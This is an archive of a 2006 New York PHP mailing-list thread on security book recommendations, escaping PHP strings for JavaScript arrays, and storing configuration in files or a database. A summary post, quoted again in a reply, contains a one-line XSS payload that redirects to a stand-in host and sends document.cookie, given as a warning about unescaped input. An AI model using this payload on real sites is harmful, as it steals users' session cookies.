encrypted, > https, certificates, etc. Also methods of cleaning/filtering/scrubbing > data received from web forms. > > 2. Getting up and running with object-oriented programming in PHP. > > Detail: > > 1. The project I am working on will allow users to create accounts. I > need to think about the best way to store their passwords and allow them > to retrieve if lost, change if they so desire, etc. As the information > is somewhat sensitive there is a possibility I will need to be passing > it via https vs. http. Scrubbing and filtering the data to make sure > nobody is intentionally or accidentally messing with my application. > > 2. To date I have been working primarily with procedural programming > techniques. I am considering the benefits of object-oriented code for > this project. Ideally the book would include a discussion of benefits > of using object-oriented code. > > Thanks, > > -Aaron > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > From tedd at sperling.com Thu Jul 6 12:50:29 2006 From: tedd at sperling.com (tedd) Date: Thu, 6 Jul 2006 12:50:29 -0400 Subject: [nycphp-talk] Book recommendations - security, object-oriented programming In-Reply-To: <4D2FAD9B00577645932AD7ED5FECA24502BCF68A@mail> References: <4D2FAD9B00577645932AD7ED5FECA24502BCF68A@mail> Message-ID: At 11:15 AM -0400 7/6/06, Baer, Jon wrote: > >For 1 Id highly recommend Chris Shifflet's book Essential PHP Security I second that recommendation -- very clear, well put together, easy to understand and implement. tedd -- ------------------------------------------------------------------------------------ http://sperling.com http://ancientstones.com http://earthstones.com From ps at pswebcode.com Thu Jul 6 13:18:20 2006 From: ps at pswebcode.com (Peter Sawczynec) Date: Thu, 6 Jul 2006 13:18:20 -0400 Subject: [nycphp-talk] Book recommendations - security, object-oriented programming In-Reply-To: <44AD274B.4000905@email.smith.edu> Message-ID: <000201c6a120$2e3e7b70$68e4a144@Rubicon> For security (as already enthusiastically noted): Essential PHP Security and Pro PHP Security. For a refreshingly straight to the actual mechanics OOP intro, try: The PHP Anthology: Object Oriented PHP Solutions Vol 1 & 2 (PHP 5 Ready) 2003, Harry Fuecks, Sitepoint This book has one of the least abstract OOP explanations I've come across in print and a cadre of extensible working OOP examples. Warmest regards, Peter Sawczynec, Technology Director PSWebcode _Design & Interface _Ecommerce _Database Management ps at pswebcode.com 718.796.1951 www.pswebcode.com -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Aaron Fischer Sent: Thursday, July 06, 2006 11:08 AM To: NYPHP Talk Subject: [nycphp-talk] Book recommendations - security,object-oriented programming Greetings, I'm working on a project that has me thinking about purchasing one or two books. The topics I'm interested in are: 1. Security. Discussion of practices for password storage and retrieval. Transmission of data in a secure manner, e.g. encrypted, https, certificates, etc. Also methods of cleaning/filtering/scrubbing data received from web forms. 2. Getting up and running with object-oriented programming in PHP. Detail: 1. The project I am working on will allow users to create accounts. I need to think about the best way to store their passwords and allow them to retrieve if lost, change if they so desire, etc. As the information is somewhat sensitive there is a possibility I will need to be passing it via https vs. http. Scrubbing and filtering the data to make sure nobody is intentionally or accidentally messing with my application. 2. To date I have been working primarily with procedural programming techniques. I am considering the benefits of object-oriented code for this project. Ideally the book would include a discussion of benefits of using object-oriented code. Thanks, -Aaron _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk New York PHP Conference and Expo 2006 http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From 1j0lkq002 at sneakemail.com Thu Jul 6 14:01:05 2006 From: 1j0lkq002 at sneakemail.com (inforequest) Date: Thu, 06 Jul 2006 11:01:05 -0700 Subject: [nycphp-talk] Book recommendations - security, object-oriented programming In-Reply-To: <4D2FAD9B00577645932AD7ED5FECA24502BCF68A@mail> References: <4D2FAD9B00577645932AD7ED5FECA24502BCF68A@mail> Message-ID: <19683-29540@sneakemail.com> Baer, Jon jbaer-at-VillageVoice.com |nyphp dev/internal group use| wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >For 1 Id highly recommend Chris Shifflet's book Essential PHP Security >... > >http://phpsecurity.org/ > >There are a few free chapters there ... > >For your second question it would probably be worth while to check out a >few open source PHP frameworks like CakePHP or Symfony + look over there >techniques and hop on the mailing lists and post a few specific >questions, a good example is the Security component in CakePHP, much of >your "filtering" and "sanitizing" should be something you should not >have to code up yourself. > >Also a good resource is http://www.owasp.org > >- - Jon > > Normally I'd keep out of this cause I'm not a reliable programmer, but I do need to stay up to speed and since you're looking at object php I have to second Jon's suggestion of looking at the symfony or cake code base (I like phpwact... it's just so easy to read). The code is well documented and many many concerned and opinionated eyeballs contribute to it. Of course the *discussions* are the textbook.... the code repository is only a static view of the momentary concensus. Then again, you wanted to buy a book. I always liked Wayner's "Translucent Databases" for it's different perspective (read his website and stuff first), John Gall's classic out-of-print "Systemantics" again for it's world view of robustness, and Shiflett's PHP book because, well, it's THE book to own on PHP security. It's the only "essential" book I agree is essential. -=john andrews http://www.seo-fun.com From tuon1 at netzero.net Fri Jul 7 00:04:53 2006 From: tuon1 at netzero.net (tuon1 at netzero.net) Date: Fri, 7 Jul 2006 04:04:53 GMT Subject: [nycphp-talk] talk Digest, Vol 38, Issue 4 Message-ID: <20060706.210546.26494.287398@webmail51.nyc.untd.com> An embedded and charset-unspecified text was scrubbed... Name: not available URL: -------------- next part -------------- An HTML attachment was scrubbed... URL: From cliff at pinestream.com Fri Jul 7 11:44:01 2006 From: cliff at pinestream.com (Cliff Hirsch) Date: Fri, 7 Jul 2006 11:44:01 -0400 Subject: [nycphp-talk] Passing JavaScript arrays Message-ID: <002c01c6a1dc$2b3cf4d0$0ba8a8c0@cliff> I need to pass data from PHP to JavaScript. Without resorting to any fancy Ajax's code, I currently build the JavaScript array variables using PHP echoes. Is this the best method? The arrays are visible in the HTML code. Any issues? For security, do I just escape the output like any other variable destined for the browser? Regards, Cliff _______________________________ Pinestream Communications, Inc. 52 Pine Street, Weston, MA 02493 USA Tel: 781.647.8800, Fax: 781.647.8825 http://www.pinestream.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From cliff at pinestream.com Fri Jul 7 11:52:27 2006 From: cliff at pinestream.com (Cliff Hirsch) Date: Fri, 7 Jul 2006 11:52:27 -0400 Subject: [nycphp-talk] Local File versus DB-based configuration setting strategy Message-ID: <003601c6a1dd$5926fed0$0ba8a8c0@cliff> My config file (mainly constants and global arrays) has grown significantly as I have shifted more and more potentially dynamic info out of the code. However, this has opened another can of worms. I now realize that if I migrate beyond one server, it would be very difficult to keep the config information in synch using local files. Obviously the database info can't be kept in the database, but beyond that, most everything can. I have avoided this presuming that it would be a huge performance hit, but perhaps not with caching. What are the implementation possibilities and the pros and cons of each strategy? Do I need to create fields in a DB for each setting or should some sort of config setting object be serialized into/out of the database? What are the performance and coherency issues? Other concerns? Regards, Cliff Hirsch _______________________________ Pinestream Communications, Inc. 52 Pine Street, Weston, MA 02493 USA Tel: 781.647.8800, Fax: 781.647.8825 http://www.pinestream.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From tedd at sperling.com Fri Jul 7 12:18:03 2006 From: tedd at sperling.com (tedd) Date: Fri, 7 Jul 2006 12:18:03 -0400 Subject: [nycphp-talk] Passing JavaScript arrays In-Reply-To: <002c01c6a1dc$2b3cf4d0$0ba8a8c0@cliff> References: <002c01c6a1dc$2b3cf4d0$0ba8a8c0@cliff> Message-ID: At 11:44 AM -0400 7/7/06, Cliff Hirsch wrote: >I need to pass data from PHP to JavaScript. Without resorting to any fancy Ajax's code, I currently build the JavaScript array variables using PHP echoes. Is this the best method? The arrays are visible in the HTML code. Any issues? For security, do I just escape the output like any other variable destined for the browser? > >Regards, >Cliff Cliff: To use a PHP variable in javascript, you create a javascript variable and then echo the value of the php variable. For example: hth's tedd -- ------------------------------------------------------------------------------------ http://sperling.com http://ancientstones.com http://earthstones.com From cliff at pinestream.com Fri Jul 7 12:37:42 2006 From: cliff at pinestream.com (Cliff Hirsch) Date: Fri, 7 Jul 2006 12:37:42 -0400 Subject: [nycphp-talk] Passing JavaScript arrays In-Reply-To: Message-ID: <007001c6a1e3$ab131340$0ba8a8c0@cliff> And still use htmlentities if I am passing a string? -----Original Message----- At 11:44 AM -0400 7/7/06, Cliff Hirsch wrote: >I need to pass data from PHP to JavaScript. Without resorting to any >fancy Ajax's code, I currently build the JavaScript array variables using PHP echoes. Is this the best method? The arrays are visible in the HTML code. Any issues? For security, do I just escape the output like any other variable destined for the browser? > >Regards, >Cliff Cliff: To use a PHP variable in javascript, you create a javascript variable and then echo the value of the php variable. For example: hth's tedd From tedd at sperling.com Fri Jul 7 12:42:52 2006 From: tedd at sperling.com (tedd) Date: Fri, 7 Jul 2006 12:42:52 -0400 Subject: [nycphp-talk] Passing JavaScript arrays In-Reply-To: <007001c6a1e3$ab131340$0ba8a8c0@cliff> References: <007001c6a1e3$ab131340$0ba8a8c0@cliff> Message-ID: Cliff: That depends on what you're doing. Sometimes you want to pass html and sometimes you don't. Try both and see what works for you. tedd >And still use htmlentities if I am passing a string? > >-----Original Message----- >At 11:44 AM -0400 7/7/06, Cliff Hirsch wrote: >>I need to pass data from PHP to JavaScript. Without resorting to any >>fancy Ajax's code, I currently build the JavaScript array variables >using PHP echoes. Is this the best method? The arrays are visible in the >HTML code. Any issues? For security, do I just escape the output like >any other variable destined for the browser? >> >>Regards, >>Cliff > >Cliff: > >To use a PHP variable in javascript, you create a javascript variable >and then echo the value of the php variable. > >For example: > > $number = 100; >?> > > > >hth's > >tedd > >_______________________________________________ >New York PHP Community Talk Mailing List >http://lists.nyphp.org/mailman/listinfo/talk >New York PHP Conference and Expo 2006 >http://www.nyphpcon.com >Show Your Participation in New York PHP >http://www.nyphp.org/show_participation.php -- ------------------------------------------------------------------------------------ http://sperling.com http://ancientstones.com http://earthstones.com From rahmin at insite-out.com Fri Jul 7 12:43:05 2006 From: rahmin at insite-out.com (Rahmin Pavlovic) Date: Fri, 7 Jul 2006 12:43:05 -0400 Subject: [nycphp-talk] Passing JavaScript arrays Message-ID: <200607071643.k67Gh5DM018553@webmail5.megamailservers.com> An embedded and charset-unspecified text was scrubbed... Name: not available URL: From rmarscher at beaffinitive.com Fri Jul 7 13:17:47 2006 From: rmarscher at beaffinitive.com (Rob Marscher) Date: Fri, 07 Jul 2006 13:17:47 -0400 Subject: [nycphp-talk] Passing JavaScript arrays In-Reply-To: <007001c6a1e3$ab131340$0ba8a8c0@cliff> References: <007001c6a1e3$ab131340$0ba8a8c0@cliff> Message-ID: <44AE973B.7030703@beaffinitive.com> If you're echoing a string from php into a javascript string var, you need to escape it. Here's an example of what I'm talking about. The escapeString function here is slightly modified from the one used in CakePHP's javascript helper: '\n', "\r" => '\n', "\n" => '\n', '"' => '\"', "'" => "\\'"); return str_replace(array_keys($escape), array_values($escape), $string); } $string = "It's good to \"escape\" strings"; ?> Cliff Hirsch wrote: > And still use htmlentities if I am passing a string? > > -----Original Message----- > At 11:44 AM -0400 7/7/06, Cliff Hirsch wrote: >> I need to pass data from PHP to JavaScript. Without resorting to any >> fancy Ajax's code, I currently build the JavaScript array variables > using PHP echoes. Is this the best method? The arrays are visible in the > HTML code. Any issues? For security, do I just escape the output like > any other variable destined for the browser? >> Regards, >> Cliff > > > Cliff: > > To use a PHP variable in javascript, you create a javascript variable > and then echo the value of the php variable. > > For example: > > $number = 100; > ?> > > > > hth's > > tedd > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > From cliff at pinestream.com Fri Jul 7 13:47:08 2006 From: cliff at pinestream.com (Cliff Hirsch) Date: Fri, 7 Jul 2006 13:47:08 -0400 Subject: [nycphp-talk] Passing JavaScript arrays In-Reply-To: <44AE973B.7030703@beaffinitive.com> Message-ID: <000e01c6a1ed$5e0b0760$0ba8a8c0@cliff> Thanks to all for the great responses -- very helpful. I've summarized below: > For security, do I just escape the output like any other variable destined for the browser? It depends where its coming from and what you're using it for. For example, I have dynamic JS array's coming from the DB that may contain HTML, and will eventually populate drop-down menu's. For these, I pass through a 'js cleansing' routine to trim, remove HTML tags, convert to UTF-8 (or whatever), remove any line-breaks and escape all quotes. But I'd be extremely wary if your JS data is coming from GET or POST. I can see a variable like the following jacking a JS array: '); location='http://myevilserver.com/steal?your_cookies='+document.cookie; // If you're echoing a string from php into a javascript string var, you need to escape it. Here's an example. The escapeString function here is slightly modified from the one used in CakePHP's javascript helper: '\n', "\r" => '\n', "\n" => '\n', '"' => '\"', "'" => "\\'"); return str_replace(array_keys($escape), array_values($escape), $string); } $string = "It's good to \"escape\" strings"; ?> If you don't want the JS to be inline, you can create a separate PHP file that only outputs JavaScript code: Just make sure js.php has the following before you start outputting JavaScript: header('content-type:text/javascript'); (From what I understand, Apache will by default cache .js files but force a request for .php templates. This may affect the chi of your app.. man..) From agfische at email.smith.edu Fri Jul 7 15:29:36 2006 From: agfische at email.smith.edu (Aaron Fischer) Date: Fri, 07 Jul 2006 15:29:36 -0400 Subject: [nycphp-talk] FPDF/FPDI template size too small In-Reply-To: References: <44A57820.7020408@email.smith.edu> Message-ID: <44AEB620.8090300@email.smith.edu> It turns out that the issue was not related to the FPDI class. The issue appears to be that the web browsers are adding extra margin space to the PDF. When I view and print the PDF locally it renders as expected. When I view and print the PDF through a web browser it adds a wider margin, thus slightly shrinking the overall size of the documents and all of it's contents! (Tested on Mac and PC with Firefox, Safari and IE, all with the same result.) Anyone know if there is some setting that I can manipulate that will prevent this browser behavior? This may be an issue that would benefit from the front end list so I'll post there as well. -Aaron David Mintz wrote: > > I am not sure what if anything you might be doing wrong, but a few months > ago I gnawed on the demo/example that ships with the Fpdi class until I > got it to open a PDF doc test_pdf.pdf and generate a new one using > test_pdf.pdf as a template, with some text inserted in a specific > position. (this is substantially the same snippet I put out here a few > weeks ago in response to another question, sorry for the redundancy). If I > remember correctly, the demo (before I hacked it up) explicitly resets the > dimensions -- you don't want to do that. HTH. From henry at beewh.com Fri Jul 7 17:18:45 2006 From: henry at beewh.com (Henry Ponce) Date: Fri, 7 Jul 2006 18:18:45 -0300 Subject: [nycphp-talk] php and graph Message-ID: <200607071818.46250.henry@beewh.com> Hi all... I've been using jpgraph for my graphs in my websites. Does anybody use something different (free or non-free) to create graphs. Thank you and hope to hear your recommendations. Henry From ekozek at rightmedia.com Fri Jul 7 17:39:14 2006 From: ekozek at rightmedia.com (Edward Kozek) Date: Fri, 07 Jul 2006 17:39:14 -0400 Subject: [nycphp-talk] php and graph In-Reply-To: <200607071818.46250.henry@beewh.com> Message-ID: This package is great. We use it at Right Media all the time, and very easy to use and set up: http://www.maani.us/charts/index.php On 7/7/06 5:18 PM, "Henry Ponce" wrote: > Hi all... > > I've been using jpgraph for my graphs in my websites. > > Does anybody use something different (free or non-free) to create graphs. > > Thank you and hope to hear your recommendations. > > Henry > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php Edward Kozek, Director Right Media Inc. | 212 5th Avenue, 8th Floor | New York, NY 10010 212.561.6483 | ekozek at rightmedia.com | http://www.rightmedia.com From ps at pswebcode.com Sat Jul 8 08:25:06 2006 From: ps at pswebcode.com (Peter Sawczynec) Date: Sat, 8 Jul 2006 08:25:06 -0400 Subject: [nycphp-talk] Passing JavaScript arrays In-Reply-To: <000e01c6a1ed$5e0b0760$0ba8a8c0@cliff> Message-ID: <001701c6a289$8bf90590$68e4a144@Rubicon> Another possible basic technique for the PHP to JavaScript string data transfer. Once upon creating a JavaScripted slideshow that rewrote the innerHTML in div tags to change images and their complex multi-line descriptions, I found this ditty worked for dynamically creating the JavaScript array of image/text/HTML data. 1) In PHP do: urlencode($str_with_HTML_and_special_chars) 2) In the JavaScript do: replace(unescape($str_with_HTML_and_special_chars),'+',' ') Has not choked on anything. Warmest regards, Peter Sawczynec, Technology Director PSWebcode _Design & Interface _Ecommerce _Database Management ps at pswebcode.com 718.796.1951 www.pswebcode.com -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Cliff Hirsch Sent: Friday, July 07, 2006 1:47 PM To: 'NYPHP Talk' Subject: Re: [nycphp-talk] Passing JavaScript arrays Thanks to all for the great responses -- very helpful. I've summarized below: > For security, do I just escape the output like any other variable destined for the browser? It depends where its coming from and what you're using it for. For example, I have dynamic JS array's coming from the DB that may contain HTML, and will eventually populate drop-down menu's. For these, I pass through a 'js cleansing' routine to trim, remove HTML tags, convert to UTF-8 (or whatever), remove any line-breaks and escape all quotes. But I'd be extremely wary if your JS data is coming from GET or POST. I can see a variable like the following jacking a JS array: '); location='http://myevilserver.com/steal?your_cookies='+document.cookie; // If you're echoing a string from php into a javascript string var, you need to escape it. Here's an example. The escapeString function here is slightly modified from the one used in CakePHP's javascript helper: '\n', "\r" => '\n', "\n" => '\n', '"' => '\"', "'" => "\\'"); return str_replace(array_keys($escape), array_values($escape), $string); } $string = "It's good to \"escape\" strings"; ?> If you don't want the JS to be inline, you can create a separate PHP file that only outputs JavaScript code: Just make sure js.php has the following before you start outputting JavaScript: header('content-type:text/javascript'); (From what I understand, Apache will by default cache .js files but force a request for .php templates. This may affect the chi of your app.. man..) _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk New York PHP Conference and Expo 2006 http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From leam at reuel.net Sat Jul 8 08:26:50 2006 From: leam at reuel.net (leam at reuel.net) Date: Sat, 8 Jul 2006 08:26:50 -0400 Subject: [nycphp-talk] Phundamentals? And RSS? Message-ID: <20060708122650.GB10406@leitz.reuel.net> Can't seem to get to the Phundamentals page from the front page link, is it down? Trying to find a simple PHP 4 RSS reader to put into some web pages. Any suggestions? ciao! leam From ken at secdat.com Sat Jul 8 09:46:23 2006 From: ken at secdat.com (Kenneth Downs) Date: Sat, 08 Jul 2006 09:46:23 -0400 Subject: [nycphp-talk] Local File versus DB-based configuration setting strategy In-Reply-To: <003601c6a1dd$5926fed0$0ba8a8c0@cliff> References: <003601c6a1dd$5926fed0$0ba8a8c0@cliff> Message-ID: <44AFB72F.1080909@secdat.com> Cliff Hirsch wrote: > My config file (mainly constants and global arrays) has grown > significantly as I have shifted more and more potentially dynamic info > out of the code. However, this has opened another can of worms. I now > realize that if I migrate beyond one server, it would be very > difficult to keep the config information in synch using local files. What kind of config settings? Is your migration to multiple servers imminent or hoped-for? > > Obviously the database info can't be kept in the database, but beyond > that, most everything can. I have avoided this presuming that it would > be a huge performance hit, but perhaps not with caching. What do you mean by database info? > > What are the implementation possibilities and the pros and cons of > each strategy? Do I need to create fields in a DB for each setting or > should some sort of config setting object be serialized into/out of > the database? What are the performance and coherency issues? Other > concerns? > > Regards, > Cliff Hirsch > _______________________________ > *Pinestream Communications, Inc.* > 52 Pine Street, Weston, MA 02493 USA > Tel: 781.647.8800, Fax: 781.647.8825 > http://www.pinestream.com > > >------------------------------------------------------------------------ > >_______________________________________________ >New York PHP Community Talk Mailing List >http://lists.nyphp.org/mailman/listinfo/talk >New York PHP Conference and Expo 2006 >http://www.nyphpcon.com >Show Your Participation in New York PHP >http://www.nyphp.org/show_participation.php > > -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: ken.vcf Type: text/x-vcard Size: 186 bytes Desc: not available URL: From mitch.pirtle at gmail.com Sat Jul 8 10:39:32 2006 From: mitch.pirtle at gmail.com (Mitch Pirtle) Date: Sat, 8 Jul 2006 10:39:32 -0400 Subject: [nycphp-talk] Local File versus DB-based configuration setting strategy In-Reply-To: <44AFB72F.1080909@secdat.com> References: <003601c6a1dd$5926fed0$0ba8a8c0@cliff> <44AFB72F.1080909@secdat.com> Message-ID: <330532b60607080739r5f3e15dem71da3f2e2aa477d@mail.gmail.com> On 7/8/06, Kenneth Downs wrote: > > Cliff Hirsch wrote: > > My config file (mainly constants and global arrays) has grown significantly > as I have shifted more and more potentially dynamic info out of the code. > However, this has opened another can of worms. I now realize that if I > migrate beyond one server, it would be very difficult to keep the config > information in synch using local files. First, I'd start by splitting out the global settings (consistent across servers) from local settings (local paths, accounts, etc). If you develop your application with events/triggers, you could then use xml-rpc to update all of your servers from the global settings, and keep the local settings separate. We've done a similar setup with Joomla 1.5, so you can use xml-rpc and register an update plugin to fire off when that event happens. I try to avoid putting too many config settings in the database, as that really limits your options in the event of a database failure. -- Mitch From danielc at analysisandsolutions.com Sat Jul 8 12:16:33 2006 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Sat, 8 Jul 2006 12:16:33 -0400 Subject: [nycphp-talk] Local File versus DB-based configuration setting strategy In-Reply-To: <003601c6a1dd$5926fed0$0ba8a8c0@cliff> References: <003601c6a1dd$5926fed0$0ba8a8c0@cliff> Message-ID: <20060708161633.GA18500@panix.com> Hi Cliff: On Fri, Jul 07, 2006 at 11:52:27AM -0400, Cliff Hirsch wrote: > if I migrate beyond one server, it would be very difficult > to keep the config information in synch using local files. It's not hard. You can use CVS, SVN or rsync to do this. > Obviously the database info can't be kept in the database, but beyond > that, most everything can. This adds an extra database hit for every request for no good reason. Bad idea. --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From ldgphp at www.ldgmedia.com Sat Jul 8 14:30:53 2006 From: ldgphp at www.ldgmedia.com (lars gelfan) Date: Sat, 8 Jul 2006 14:30:53 -0400 Subject: [nycphp-talk] Local File versus DB-based configuration setting strategy In-Reply-To: <20060708161633.GA18500@panix.com> References: <003601c6a1dd$5926fed0$0ba8a8c0@cliff> <20060708161633.GA18500@panix.com> Message-ID: <20060708183053.M19936@www.ldgmedia.com> If you already have a database connection open then the extra hit is really a non-issue and theoretically would be faster than reading from a text file. I had the same situation where my config file for an application we develop grew fairly large so we put it in a database and have been happy with that set up. It also made it easier for us to add some of the values stored there to the admin tools so the client can change some of them as needed. The application is reliant on the database, so if it went down, the users wouldn't be able to do anything anyway and almost every page opens a database connection. As far as serializing the data, I guess it depends on what information you are passing and how much work PHP has to do with it. I don't think you would gain too much unless it makes things easier for you code-wise for some reason. I don't think we are serializing any of the config info from what i can recall atm, but we do serialize some of the users' information for saved search queries and such so we can pass those values right back into PHP without having to reformat the data. -L. > > > Obviously the database info can't be kept in the database, but beyond > > that, most everything can. > > This adds an extra database hit for every request for no good > reason. Bad idea. > From danielc at analysisandsolutions.com Sat Jul 8 16:21:01 2006 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Sat, 8 Jul 2006 16:21:01 -0400 Subject: [nycphp-talk] Local File versus DB-based configuration setting strategy In-Reply-To: <20060708183053.M19936@www.ldgmedia.com> References: <003601c6a1dd$5926fed0$0ba8a8c0@cliff> <20060708161633.GA18500@panix.com> <20060708183053.M19936@www.ldgmedia.com> Message-ID: <20060708202101.GA1314@panix.com> On Sat, Jul 08, 2006 at 02:30:53PM -0400, lars gelfan wrote: > > If you already have a database connection open then the extra hit is > really a non-issue and > theoretically would be faster than reading from a text file. Text file? Not what I was talking about -- nor I believe was Cliff. I'm talking about a PHP script, which would already be open to get the database configuration information anyway, so there's zero overhead. --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From lists at zaunere.com Sat Jul 8 19:37:56 2006 From: lists at zaunere.com (Hans Zaunere) Date: Sat, 8 Jul 2006 19:37:56 -0400 Subject: [nycphp-talk] Phundamentals? And RSS? In-Reply-To: <20060708122650.GB10406@leitz.reuel.net> Message-ID: <001601c6a2e7$8b45cb70$650aa8c0@MZ> leam at reuel.net wrote on Saturday, July 08, 2006 8:27 AM: > Can't seem to get to the Phundamentals page from the front page link, > is it down? Looks ok from here: http://www.nyphp.org/phundamentals/ --- Hans Zaunere / President / New York PHP www.nyphp.org / www.nyphp.com From leam at reuel.net Sat Jul 8 19:44:41 2006 From: leam at reuel.net (leam at reuel.net) Date: Sat, 8 Jul 2006 19:44:41 -0400 Subject: [nycphp-talk] Phundamentals? And RSS? In-Reply-To: <001601c6a2e7$8b45cb70$650aa8c0@MZ> References: <20060708122650.GB10406@leitz.reuel.net> <001601c6a2e7$8b45cb70$650aa8c0@MZ> Message-ID: <20060708234441.GD11147@leitz.reuel.net> Ah, the front page refers to phundamentals.nyphp.com ciao! leam On Sat, Jul 08, 2006 at 07:37:56PM -0400, Hans Zaunere wrote: > > > leam at reuel.net wrote on Saturday, July 08, 2006 8:27 AM: > > Can't seem to get to the Phundamentals page from the front page > link, > > is it down? > > Looks ok from here: > > http://www.nyphp.org/phundamentals/ > > > --- > Hans Zaunere / President / New York PHP > www.nyphp.org / www.nyphp.com > > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > From ldgphp at www.ldgmedia.com Sat Jul 8 22:45:47 2006 From: ldgphp at www.ldgmedia.com (lars gelfan) Date: Sat, 8 Jul 2006 22:45:47 -0400 Subject: [nycphp-talk] Local File versus DB-based configuration setting strategy In-Reply-To: <20060708202101.GA1314@panix.com> References: <003601c6a1dd$5926fed0$0ba8a8c0@cliff> <20060708161633.GA18500@panix.com> <20060708183053.M19936@www.ldgmedia.com> <20060708202101.GA1314@panix.com> Message-ID: <20060709024547.M26666@www.ldgmedia.com> To clarify, I didn't mean an external .txt file, simply that (unless you are using a PHP optimizer) PHP is stored as text and moving information via a database is _generally_ going to be more efficient -- but that is why I said "theoretically" :) -- I realize there are many variables depending one's server setup and the size of the config file. In both cases the overhead is not exactly zero, but certainly miniscule (assuming your config file is not gargantuan). I was simply pointing out that (especially) if you already have a database connection open it is a viable solution and one that has worked for me. The fact that you have to store the database connection info in a PHP script does make it a bit less than optimal solution, so I certainly would be interested in hearing about alternatives and others' experiences. In my situation, it seemed to make sense and has made deployment and maintenance easier. -L On Sat, 8 Jul 2006 16:21:01 -0400, Daniel Convissor wrote > On Sat, Jul 08, 2006 at 02:30:53PM -0400, lars gelfan wrote: > > > > If you already have a database connection open then the extra hit is > > really a non-issue and > > theoretically would be faster than reading from a text file. > > Text file? Not what I was talking about -- nor I believe was Cliff. > I'm talking about a PHP script, which would already be open to get > the database configuration information anyway, so there's zero overhead. > > --Dan > From cliff at pinestream.com Sun Jul 9 11:19:37 2006 From: cliff at pinestream.com (cliff) Date: Sun, 9 Jul 2006 10:19:37 -0500 Subject: [nycphp-talk] Local File versus DB-based configuration setting strategy In-Reply-To: <44AFB72F.1080909@secdat.com> References: <003601c6a1dd$5926fed0$0ba8a8c0@cliff> <44AFB72F.1080909@secdat.com> Message-ID: <20060709151937.M58102@pinestream.com> > > difficult to keep the config information in synch using local files. > > What kind of config settings? Is your migration to multiple servers > imminent or hoped-for? Hoped-for -- wishful thinking. Everything from the database username/password to email settings to status code lookup tables (a # to a word translation) to graph settings, among many others. > > Obviously the database info can't be kept in the database, but beyond > > that, most everything can. I have avoided this presuming that it would > > be a huge performance hit, but perhaps not with caching. > > What do you mean by database info? The username/password access settings. From cliff at pinestream.com Sun Jul 9 11:24:04 2006 From: cliff at pinestream.com (cliff) Date: Sun, 9 Jul 2006 10:24:04 -0500 Subject: [nycphp-talk] Local File versus DB-based configuration setting strategy In-Reply-To: <330532b60607080739r5f3e15dem71da3f2e2aa477d@mail.gmail.com> References: <003601c6a1dd$5926fed0$0ba8a8c0@cliff> <44AFB72F.1080909@secdat.com> <330532b60607080739r5f3e15dem71da3f2e2aa477d@mail.gmail.com> Message-ID: <20060709152404.M33857@pinestream.com> Interesting idea, albiet a bit over my head. I like the idea of limiting the DB as single point of failure. On the other hand, a DB-intensive application is practically useless in the event of a DB failure anyway. > First, I'd start by splitting out the global settings (consistent > across servers) from local settings (local paths, accounts, etc). If > you develop your application with events/triggers, you could then use > xml-rpc to update all of your servers from the global settings, and > keep the local settings separate. > > We've done a similar setup with Joomla 1.5, so you can use xml-rpc > and register an update plugin to fire off when that event happens. I > try to avoid putting too many config settings in the database, as > that really limits your options in the event of a database failure. > > -- Mitch From lists at zaunere.com Sun Jul 9 19:24:30 2006 From: lists at zaunere.com (Hans Zaunere) Date: Sun, 9 Jul 2006 19:24:30 -0400 Subject: [nycphp-talk] Phundamentals? And RSS? In-Reply-To: <20060708234441.GD11147@leitz.reuel.net> Message-ID: <003801c6a3ae$d4d90ff0$6a0aa8c0@MZ> leam at reuel.net wrote on Saturday, July 08, 2006 7:45 PM: > Ah, the front page refers to phundamentals.nyphp.com Hrmm, bad link - fixed. Thanks Leam, H From cliff at pinestream.com Mon Jul 10 08:19:13 2006 From: cliff at pinestream.com (Cliff Hirsch) Date: Mon, 10 Jul 2006 08:19:13 -0400 Subject: [nycphp-talk] Passing JavaScript arrays In-Reply-To: <001701c6a289$8bf90590$68e4a144@Rubicon> Message-ID: <003c01c6a41b$0eafeac0$0ba8a8c0@cliff> Interesting approach. How big was the array? It seems like this method might produce unreasonably long URLs if there is extensive data. -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Peter Sawczynec Sent: Saturday, July 08, 2006 8:25 AM To: 'NYPHP Talk' Subject: Re: [nycphp-talk] Passing JavaScript arrays Another possible basic technique for the PHP to JavaScript string data transfer. Once upon creating a JavaScripted slideshow that rewrote the innerHTML in div tags to change images and 